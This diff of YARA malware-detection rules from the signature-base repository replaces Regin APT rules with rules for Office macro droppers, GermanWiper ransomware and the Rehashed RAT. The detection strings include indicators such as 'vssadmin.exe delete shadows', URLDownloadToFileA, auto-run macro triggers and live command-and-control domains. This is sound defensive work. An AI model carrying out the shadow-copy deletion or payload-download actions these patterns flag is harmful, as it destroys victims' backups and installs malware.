-		$z5 = "atoi" fullword ascii
+		$e1 = "Enable Editing" fullword ascii
+		$e2 = "Enable Content" fullword ascii
+		$e3 = "Enable editing" fullword ascii
+		$e4 = "Enable content" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and $m0 at 0 and all of ($s*) and ( all of ($v*) or all of ($w*) or all of ($x*) or all of ($y*) or all of ($z*)) and filesize <20KB
+		uint16(0)==0xcfd0 and ($e1 in (0..3000) or $e2 in (0..3000) or $e3 in (0..3000) or $e4 in (0..3000) or 2 of them )
 }
-rule SIGNATURE_BASE_Regin_APT_Kerneldriver_Generic_C : FILE
+rule SIGNATURE_BASE_SUSP_Worddoc_VBA_Macro_Strings : FILE
 {
 	meta:
-		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
-		author = "@Malwrsignatures - included in APT Scanner THOR"
-		id = "2006b3f0-abd1-5274-8b18-75368671e062"
-		date = "2014-11-23"
-		modified = "2024-04-24"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L96-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9454eb8b45a720fbe517caa2221fb0ceedf561902d94cabe513e921cc52fe035"
-		score = 75
+		description = "Detects suspicious strings in Word Doc that indcate malicious use of VBA macros"
+		author = "Florian Roth (Nextron Systems)"
+		id = "210baf6e-ec67-5bc4-ba27-6a6de0c11a73"
+		date = "2019-02-12"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_office_dropper.yar#L42-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "441e4a8e90d6045d0ad6a959ce56e834960c48083343add8e4f519f4b83bc82d"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		hash1 = "e0895336617e0b45b312383814ec6783556d7635"
-		hash2 = "732298fa025ed48179a3a2555b45be96f7079712"
+		hash1 = "525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de"
 
 	strings:
-		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
-		$s0 = "KeGetCurrentIrql" fullword ascii
-		$s1 = "5.2.3790.0 (srv03_rtm.030324-2048)" fullword wide
-		$s2 = "usbclass" fullword wide
-		$x1 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" ascii
-		$x2 = "Universal Serial Bus Class Driver" fullword wide
-		$x3 = "5.2.3790.0" fullword wide
-		$y1 = "LSA Shell" fullword wide
-		$y2 = "0Richw" fullword ascii
+		$a1 = "\\Microsoft Shared\\" ascii
+		$a2 = "\\VBA\\" ascii
+		$a3 = "Microsoft Office Word" fullword ascii
+		$a4 = "PROJECTwm" fullword wide
+		$s1 = "AppData" fullword ascii
+		$s2 = "Document_Open" fullword ascii
+		$s3 = "Project1" fullword ascii
+		$s4 = "CreateObject" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and $m0 at 0 and all of ($s*) and ( all of ($x*) or all of ($y*)) and filesize <20KB
+		uint16(0)==0xcfd0 and filesize <800KB and all of them
 }
-rule SIGNATURE_BASE_Regin_Sig_Svcsstat : FILE
+rule SIGNATURE_BASE_SUSP_Officedoc_VBA_Base64Decode : FILE
 {
 	meta:
-		description = "Detects svcstat from Regin report - file svcsstat.exe_sample"
-		author = "@MalwrSignatures"
-		id = "0cb493d7-c7f1-54c4-9805-d9894bf399da"
-		date = "2014-11-26"
-		modified = "2024-04-24"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L126-L143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5164edc1d54f10b7cb00a266a1b52c623ab005e2"
-		logic_hash = "2b1fdc2cc8c0aedaf749ee0e87a8853b91735a4e215c65df221a930d4b1d02f7"
-		score = 75
+		description = "Detects suspicious VBA code with Base64 decode functions"
+		author = "Florian Roth (Nextron Systems)"
+		id = "99690116-fc89-53d7-8f29-575d75d53fc9"
+		date = "2019-06-21"
+		modified = "2023-12-05"
+		reference = "https://github.com/cpaton/Scripting/blob/master/VBA/Base64.bas"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_office_dropper.yar#L65-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1fb094c9991f93e9d1003832dc11a58efa8281e9fe844e61e27dfd077f55ad39"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
 
 	strings:
-		$s0 = "Service Control Manager" fullword ascii
-		$s1 = "_vsnwprintf" ascii
-		$s2 = "Root Agency" fullword ascii
-		$s3 = "Root Agency0" fullword ascii
-		$s4 = "StartServiceCtrlDispatcherA" fullword ascii
-		$s5 = "\\\\?\\UNC" fullword wide
-		$s6 = "%ls%ls" fullword wide
+		$s1 = "B64_CHAR_DICT" ascii
+		$s2 = "Base64Decode" ascii
+		$s3 = "Base64Encode" ascii
 
 	condition:
-		all of them and filesize <15KB and filesize >10KB
+		uint16(0)==0xcfd0 and filesize <60KB and 2 of them
 }
-rule SIGNATURE_BASE_Regin_Sample_1 : FILE
-{
-	meta:
-		description = "Semiautomatically generated YARA rule - file-3665415_sys"
-		author = "Florian Roth"
-		id = "13478652-155f-52ba-af16-53f27c92e052"
-		date = "2014-11-25"
-		modified = "2024-04-24"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L145-L174"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "773d7fab06807b5b1bc2d74fa80343e83593caf2"
-		logic_hash = "e8291b4a68924dccdd825ee2cc8930acb794e92e0302598872ec78eb0bf8504f"
-		score = 70
+rule SIGNATURE_BASE_SUSP_VBA_Filesystem_Access : FILE
+{
+	meta:
+		description = "Detects suspicious VBA that writes to disk and is activated on document open"
+		author = "Florian Roth (Nextron Systems)"
+		id = "91241b91-ca3f-5817-bf78-550fe015b467"
+		date = "2019-06-21"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_office_dropper.yar#L82-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "13d7e0708968a7700308e6216ea5d0a396f9335137ae1e33c3b34a2f54012ec6"
+		score = 60
 		quality = 85
 		tags = "FILE"
+		hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
 
 	strings:
-		$s0 = "Getting PortName/Identifier failed - %x" fullword ascii
-		$s1 = "SerialAddDevice - error creating new devobj [%#08lx]" fullword ascii
-		$s2 = "External Naming Failed - Status %x" fullword ascii
-		$s3 = "------- Same multiport - different interrupts" fullword ascii
-		$s4 = "%x occurred prior to the wait - starting the" fullword ascii
-		$s5 = "'user registry info - userPortIndex: %d" fullword ascii
-		$s6 = "Could not report legacy device - %x" fullword ascii
-		$s7 = "entering SerialGetPortInfo" fullword ascii
-		$s8 = "'user registry info - userPort: %x" fullword ascii
-		$s9 = "IoOpenDeviceRegistryKey failed - %x " fullword ascii
-		$s10 = "Kernel debugger is using port at address %X" fullword ascii
-		$s12 = "Release - freeing multi context" fullword ascii
-		$s13 = "Serial driver will not load port" fullword ascii
-		$s14 = "'user registry info - userAddressSpace: %d" fullword ascii
-		$s15 = "SerialAddDevice: Enumeration request, returning NO_MORE_ENTRIES" fullword ascii
-		$s20 = "'user registry info - userIndexed: %d" fullword ascii
-		$fp1 = "Enter SerialBuildResourceList" ascii fullword
+		$s1 = "\\Common Files\\Microsoft Shared\\" wide
+		$s2 = "Scripting.FileSystemObject" ascii
+		$a1 = "Document_Open" ascii
+		$a2 = "WScript.Shell" ascii
+		$a3 = "AutoOpen" fullword ascii
 
 	condition:
-		all of them and filesize <110KB and filesize >80KB and not $fp1
+		uint16(0)==0xcfd0 and filesize <100KB and all of ($s*) and 1 of ($a*)
 }
-rule SIGNATURE_BASE_Regin_Sample_2 : FILE
+rule SIGNATURE_BASE_SUSP_Excel_IQY_Remoteuri_Syntax : FILE
 {
 	meta:
-		description = "Auto-generated rule - file hiddenmod_hookdisk_and_kdbg_8949d000.bin"
-		author = "@MalwrSignatures"
-		id = "1091a598-e964-5f67-9267-531d66831bee"
-		date = "2014-11-26"
-		modified = "2024-04-24"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L176-L203"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a7b285d4b896b66fce0ebfcd15db53b3a74a0400"
-		logic_hash = "a11d03d10661c1fc094450b250056196e5d8d16bd171eba9e37c7524aa2301d2"
-		score = 75
+		description = "Detects files with Excel IQY RemoteURI syntax"
+		author = "Nick Carr"
+		id = "ea3427da-9cce-5ad9-9c78-e3cee802ba80"
+		date = "2018-08-17"
+		modified = "2023-11-25"
+		reference = "https://twitter.com/ItsReallyNick/status/1030330473954897920"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_office_dropper.yar#L102-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7033b0a4226dd289ecc670a0807e4159dd4486f52bc80a6b5ddd34d6961ab163"
+		score = 55
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$s0 = "\\SYSTEMROOT\\system32\\lsass.exe" wide
-		$s1 = "atapi.sys" fullword wide
-		$s2 = "disk.sys" fullword wide
-		$s3 = "IoGetRelatedDeviceObject" fullword ascii
-		$s4 = "HAL.dll" fullword ascii
-		$s5 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services" ascii
-		$s6 = "PsGetCurrentProcessId" fullword ascii
-		$s7 = "KeGetCurrentIrql" fullword ascii
-		$s8 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
-		$s9 = "KeSetImportanceDpc" fullword ascii
-		$s10 = "KeQueryPerformanceCounter" fullword ascii
-		$s14 = "KeInitializeEvent" fullword ascii
-		$s15 = "KeDelayExecutionThread" fullword ascii
-		$s16 = "KeInitializeTimerEx" fullword ascii
-		$s18 = "PsLookupProcessByProcessId" fullword ascii
-		$s19 = "ExReleaseFastMutexUnsafe" fullword ascii
-		$s20 = "ExAcquireFastMutexUnsafe" fullword ascii
+		$URL = "http"
+		$fp1 = "https://go.microsoft.com"
 
 	condition:
-		all of them and filesize <40KB and filesize >30KB
+		uint32(0)==0x0d424557 and uint32(4)==0x0a0d310a and filesize <1MB and $URL and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Regin_Sample_3 : FILE
+rule SIGNATURE_BASE_SUSP_Macro_Sheet_Obfuscated_Char : FILE
 {
 	meta:
-		description = "Detects Regin Backdoor sample fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
-		author = "@Malwrsignatures"
-		id = "eefc174f-4b17-5c90-8478-3eaaf80e9a78"
-		date = "2014-11-27"
-		modified = "2024-04-24"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L205-L230"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
-		logic_hash = "5a0f77f203765f7737c00c3df760ea7f3ed354559aad07f3053173ff09e1ce1a"
-		score = 75
+		description = "Finding hidden/very-hidden macros with many CHAR functions"
+		author = "DissectMalware"
+		id = "791e9bba-3e4e-5efd-a800-a612c6f92cfb"
+		date = "2020-04-07"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/DissectMalware/status/1247595433305800706"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_office_dropper.yar#L122-L139"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0953d1f916df570cb3d053bf4fdac196bdbd806df4b6c0a982ed9949a3676e6c"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		hash1 = "0e9ec7a974b87f4c16c842e648dd212f80349eecb4e636087770bc1748206c3b"
 
 	strings:
-		$s0 = "Service Pack x" fullword wide
-		$s1 = "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" wide
-		$s2 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" wide
-		$s3 = "mntoskrnl.exe" fullword wide
-		$s4 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager\\Memory Management" wide
-		$s5 = "Memory location: 0x%p, size 0x%08x" wide fullword
-		$s6 = "Service Pack" fullword wide
-		$s7 = ".sys" fullword wide
-		$s8 = ".dll" fullword wide
-		$s10 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Updates" wide
-		$s11 = "IoGetRelatedDeviceObject" fullword ascii
-		$s12 = "VMEM.sys" fullword ascii
-		$s13 = "RtlGetVersion" fullword wide
-		$s14 = "ntkrnlpa.exe" fullword ascii
+		$ole_marker = {D0 CF 11 E0 A1 B1 1A E1}
+		$s1 = "Excel" fullword ascii
+		$macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
+		$macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
+		$char_func = {06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1E 3D  00 41 6F 00}
 
 	condition:
-		uint32(0)==0xfedcbafe and all of ($s*) and filesize >160KB and filesize <200KB
+		$ole_marker at 0 and 1 of ($macro_sheet_h*) and #char_func>10 and $s1
 }
-rule SIGNATURE_BASE_Regin_Sample_Set_2 : FILE
+rule SIGNATURE_BASE_MAL_Ransomware_Germanwiper : FILE
 {
 	meta:
-		description = "Auto-generated rule - file SHF-000052 and ndisips.sys"
-		author = "@MalwrSignatures"
-		id = "0b21091d-413e-54dd-83d1-5d824fb013f2"
-		date = "2014-11-26"
-		modified = "2024-04-24"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L232-L264"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26125cea704532cbc22df46af228299ae810bce60938bee7b067ed273158d76f"
+		description = "Detects RansomWare GermanWiper in Memory or in unpacked state"
+		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
+		id = "e7587691-f69a-53e7-bab2-875179fbfa19"
+		date = "2019-08-05"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/r3c0nst/status/1158326526766657538"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_germanwiper.yar#L1-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dcb4f91006a893149a60e9708efb9de809f75c810bddfd2d90c8f6fffa0879ea"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
-		hash1 = "8487a961c8244004c9276979bb4b0c14392fc3b8"
-		hash2 = "bcf3461d67b39a427c83f9e39b9833cfec977c61"
+		hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c"
+		hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447"
 
 	strings:
-		$s0 = "HAL.dll" fullword ascii
-		$s1 = "IoGetDeviceObjectPointer" fullword ascii
-		$s2 = "MaximumPortsServiced" fullword wide
-		$s3 = "KeGetCurrentIrql" fullword ascii
-		$s4 = "ntkrnlpa.exe" fullword ascii
-		$s5 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
-		$s6 = "ConnectMultiplePorts" fullword wide
-		$s7 = "\\SYSTEMROOT" wide
-		$s8 = "IoWriteErrorLogEntry" fullword ascii
-		$s9 = "KeQueryPerformanceCounter" fullword ascii
-		$s10 = "KeServiceDescriptorTable" fullword ascii
-		$s11 = "KeRemoveEntryDeviceQueue" fullword ascii
-		$s12 = "SeSinglePrivilegeCheck" fullword ascii
-		$s13 = "KeInitializeEvent" fullword ascii
-		$s14 = "IoBuildDeviceIoControlRequest" fullword ascii
-		$s15 = "KeRemoveDeviceQueue" fullword ascii
-		$s16 = "IofCompleteRequest" fullword ascii
-		$s17 = "KeInitializeSpinLock" fullword ascii
-		$s18 = "MmIsNonPagedSystemAddressValid" fullword ascii
-		$s19 = "IoCreateDevice" fullword ascii
-		$s20 = "KefReleaseSpinLockFromDpcLevel" fullword ascii
+		$x_Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" ascii
+		$x_Mutex2 = "cFgxTERNWEVhM2V" ascii
+		$PurgeCode = { 6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ??
+                     50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8 }
+		$ProcessKill1 = "sqbcoreservice.exe" ascii
+		$ProcessKill2 = "isqlplussvc.exe" ascii
+		$KillShadowCopies = "vssadmin.exe delete shadows" ascii
+		$Domain1 = "cdnjs.cloudflare.com" ascii
+		$Domain2 = "expandingdelegation.top" ascii
+		$RansomNote = "Entschluesselungs_Anleitung.html" ascii
 
 	condition:
-		filesize <40KB and filesize >30KB and all of them
+		uint16(0)==0x5A4D and filesize <1000KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Regin_Sample_Set_1 : FILE
+rule SIGNATURE_BASE_SUSP_Maldoc_Excelmacro : FILE
 {
 	meta:
-		description = "Detects Regin Backdoor sample"
-		author = "@MalwrSignatures"
-		id = "b0f24a0b-10e7-5549-a300-516df8644cb0"
-		date = "2014-11-27"
-		modified = "2023-01-06"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L266-L296"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7402f409e7dd3180d8e6fe017af19d0a1d0dd86f85279191db1bc8f6c94951ac"
-		score = 75
+		description = "Detects malicious Excel macro Artifacts"
+		author = "James Quinn"
+		id = "76806717-a9a8-520e-b6b6-7718eb088de5"
+		date = "2020-11-03"
+		modified = "2023-12-05"
+		reference = "YARA Exchange - Undisclosed Macro Builder"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_macro_builders.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c5d0655eaf2ca36c828675f9673a1d4284ef8719fd9ec1d354ee3284d1fb0a0c"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		hash1 = "4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be"
-		hash2 = "e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935"
 
 	strings:
-		$hd = { fe ba dc fe }
-		$s0 = "d%ls%ls" fullword wide
-		$s1 = "\\\\?\\UNC" fullword wide
-		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion" fullword wide
-		$s4 = "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" fullword wide
-		$s5 = "System\\CurrentControlSet\\Services\\Tcpip\\Linkage" wide fullword
-		$s6 = "\\\\.\\Global\\%s" fullword wide
-		$s7 = "temp" fullword wide
-		$s8 = "\\\\.\\%s" fullword wide
-		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide
-		$s10 = "sscanf" fullword ascii
-		$s11 = "disp.dll" fullword ascii
-		$s12 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
-		$s13 = "%d.%d.%d.%d%c" fullword ascii
-		$s14 = "imagehlp.dll" fullword ascii
-		$s15 = "%hd %d" fullword ascii
+		$artifact1 = {5c 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2e 00 ?? 00 ?? 00}
+		$url1 = "http://" wide
+		$url2 = "https://" wide
+		$import1 = "URLDownloadToFileA" wide ascii
+		$macro = "xl/macrosheets/"
 
 	condition:
-		($hd at 0) and all of ($s*) and filesize <450KB and filesize >360KB
+		uint16(0)==0x4b50 and filesize <2000KB and $artifact1 and $macro and $import1 and 1 of ($url*)
 }
-rule SIGNATURE_BASE_Apt_Regin_Legspin : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Rehashed_RAT_1 : FILE
 {
 	meta:
-		description = "Rule to detect Regin's Legspin module"
-		author = "Kaspersky Lab"
-		id = "2abd3605-d9bf-53f0-8521-ac8dc18d9fce"
-		date = "2015-01-22"
-		date = "2023-01-27"
-		modified = "2024-04-24"
-		reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L298-L319"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "29105f46e4d33f66fee346cfd099d1cc"
-		logic_hash = "1b026f475fdbb3c97f33895520844fa4944eb2fffc0883502a6cb79162bbd388"
+		description = "Detects malware from Rehashed RAT incident"
+		author = "Florian Roth (Nextron Systems)"
+		id = "24536421-3f8f-58f3-8245-06c519d7a21a"
+		date = "2017-09-08"
+		modified = "2023-12-05"
+		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rehashed_rat.yar#L13-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "06a98e87d931bdea697a2cf3de604f03654f9aa2b3f2346e78ba92e492c0fc7c"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "37bd97779e854ea2fc43486ddb831a5acfd19cf89f06823c9fd3b20134cb1c35"
 
 	strings:
-		$a1 = "sharepw"
-		$a2 = "reglist"
-		$a3 = "logdump"
-		$a4 = "Name:" wide
-		$a5 = "Phys Avail:"
-		$a6 = "cmd.exe" wide
-		$a7 = "ping.exe" wide
-		$a8 = "millisecs"
+		$x1 = "C:\\Users\\hoogle168\\Desktop\\"
+		$x2 = "\\NewCoreCtrl08\\Release\\NewCoreCtrl08.pdb" ascii
+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729" ascii
+		$s2 = "NewCoreCtrl08.dll" fullword ascii
+		$s3 = "GET /%s%s%s%s HTTP/1.1" fullword ascii
+		$s4 = "http://%s:%d/%s%s%s%s" fullword ascii
+		$s5 = "MyTmpFile.Dat" fullword wide
+		$s6 = "root\\%s" fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and all of ($a*)
+		( uint16(0)==0x5a4d and filesize <800KB and (pe.imphash()=="893212784d01f11aed9ebb42ad2561fc" or pe.exports("ProcessTrans") or (1 of ($x*) or 4 of them ))) or ( all of them )
 }
-rule SIGNATURE_BASE_Apt_Regin_Hopscotch : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Rehashed_RAT_2 : FILE
 {
 	meta:
-		description = "Rule to detect Regin's Hopscotch module"
-		author = "Kaspersky Lab"
-		id = "907042ba-8e64-5ca7-9a83-70c28af1ab99"
-		date = "2015-01-22"
-		date = "2023-01-27"
-		modified = "2024-04-24"
-		reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L321-L342"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6c34031d7a5fc2b091b623981a8ae61c"
-		logic_hash = "33b5fa61aaa802a60f3d42d59eb474222841a8a557b06b23a9e325e922e2cec1"
+		description = "Detects malware from Rehashed RAT incident"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fcf82155-10da-56b7-879b-841c4ae5023b"
+		date = "2017-09-08"
+		modified = "2023-12-05"
+		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rehashed_rat.yar#L41-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "96c4582981792eb5f8180c06a5fe824fd439cfa0ede294eccff3afa7d318a6e9"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "49efab1dedc6fffe5a8f980688a5ebefce1be3d0d180d5dd035f02ce396c9966"
 
 	strings:
-		$a1 = "AuthenticateNetUseIpc"
-		$a2 = "Failed to authenticate to"
-		$a3 = "Failed to disconnect from"
-		$a4 = "%S\\ipc$" wide
-		$a5 = "Not deleting..."
-		$a6 = "CopyServiceToRemoteMachine"
-		$a7 = "DH Exchange failed"
-		$a8 = "ConnectToNamedPipes"
+		$x1 = "dalat.dulichovietnam.net" fullword ascii
+		$x2 = "web.Thoitietvietnam.org" fullword ascii
+		$a1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64)" fullword ascii
+		$a2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii
+		$s1 = "GET /%s%s%s%s HTTP/1.1" fullword ascii
+		$s2 = "http://%s:%d/%s%s%s%s" fullword ascii
+		$s3 = "{521338B8-3378-58F7-AFB9-E7D35E683BF8}" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of ($a*)
+		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="9c4c648f4a758cbbfe28c8850d82f931" or (1 of ($x*) or 3 of them ))) or (4 of them )
 }
-rule SIGNATURE_BASE_Regin_Related_Malware
+import "pe"
+
+rule SIGNATURE_BASE_Rehashed_RAT_3 : FILE
 {
 	meta:
-		description = "Malware Sample - maybe Regin related"
+		description = "Detects malware from Rehashed RAT incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9377dd52-244f-5289-a2a3-88b6377b2dd2"
-		date = "2015-06-03"
-		modified = "2024-04-24"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_regin_fiveeyes.yar#L344-L367"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "76c355bfeb859a347e38da89e3d30a6ff1f94229"
-		logic_hash = "61ce7a69ab357740158e355455362a4f5fddc67ee60af120733f509e7407216f"
-		score = 70
+		id = "59871be1-295f-54ee-ab4d-4f9e5fdc2935"
+		date = "2017-09-08"
+		modified = "2022-12-21"
+		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
